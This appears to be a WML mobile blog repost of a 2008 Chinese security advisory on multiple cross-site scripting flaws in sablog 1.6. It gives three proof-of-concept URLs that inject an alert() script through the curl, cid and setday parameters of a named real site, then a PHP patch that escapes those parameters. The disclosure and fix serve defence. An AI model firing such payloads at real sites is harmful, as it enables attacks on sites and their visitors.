<?xml version="1.0"?>
<!DOCTYPE wml PUBLIC "-//WAPFORUM//DTD WML 1.1//EN" "http://www.wapforum.org/ DTD/wml_1.1.xml">

<wml>
<head>
<meta http-equiv="cache-control" content="max-age=180,private" />
</head>
<card title="sablog 1.6 多个跨站漏洞">
<p>
作者:<a href="index.php?action=showuser&amp;userid=2&amp;hash=">admin</a><br />时间:2017-08-21 10:38<br />分类:<a href="index.php?action=list&amp;cid=16&amp;hash=">站点建设</a><br />内容:
 Date：2008-03-27

Author：amxku[c.r.s.t]
Version:sablog 1.6

由于过滤不严，存在多个跨站漏洞

PS:
http://www.luoq.net/?viewmode=list&amp;curl=&gt;&quot;&gt;&lt;ScRiPt%20%0a%0d&gt;alert(amxku)%3B&lt;/ScRiPt&gt;
http://www.luoq.net/?action=index&amp;cid=&gt;&quot;&gt;&lt;ScRiPt%20%0a%0d&gt;alert(amxku)%3B&lt;/ScRiPt&gt; 
http://www.luoq.net/?action=index&amp;setdate=200804&amp;setday=&gt;&quot;&gt;&lt;ScRiPt%20%0a%0d&gt;alert(amxku)%3B&lt;/ScRiPt&gt;&amp;page=1 

临时解决办法：

在global.php中过滤curl，cid，setday等



    $modelink = '';  

    if ($action) {  

        $modelink .= '&amp;action='.$action;  

    }  

    if ($curl) {  

        $modelink .= '&amp;curl='.htmlspecialchars($curl);  

    }  

    if ($cid) {  

        $modelink .= '&amp;cid='.htmlspecialchars($cid);  

    }  

    if ($setdate) {  

        $modelink .= '&amp;setdate='.htmlspecialchars($setdate);  

    }  

    if ($setday) {  

        $modelink .= '&amp;setday='.htmlspecialchars($setday);  

    }  

    if (intval($_GET['searchid'])) {  

        $modelink .= '&amp;searchid='.htmlspecialchars($_GET['searchid']);  

    }  

    if (intval($_GET['userid'])) {  

        $modelink .= &quot;&amp;userid=&quot;.htmlspecialchars($_GET['userid']);  

    }  

    if ($_GET['item']) {  

        $item = urlencode(addslashes($item));  

        $modelink .= '&amp;item='.$item;  

    }



</p><p>
<a href="index.php?action=login&amp;hash=">立即登陆发表评论</a><br />
</p>
<p><a href="index.php?action=list&amp;hash=">返回日志列表</a><br /><a href="index.php?action=index&amp;hash=">返回主页</a></p>
</card>
</wml>
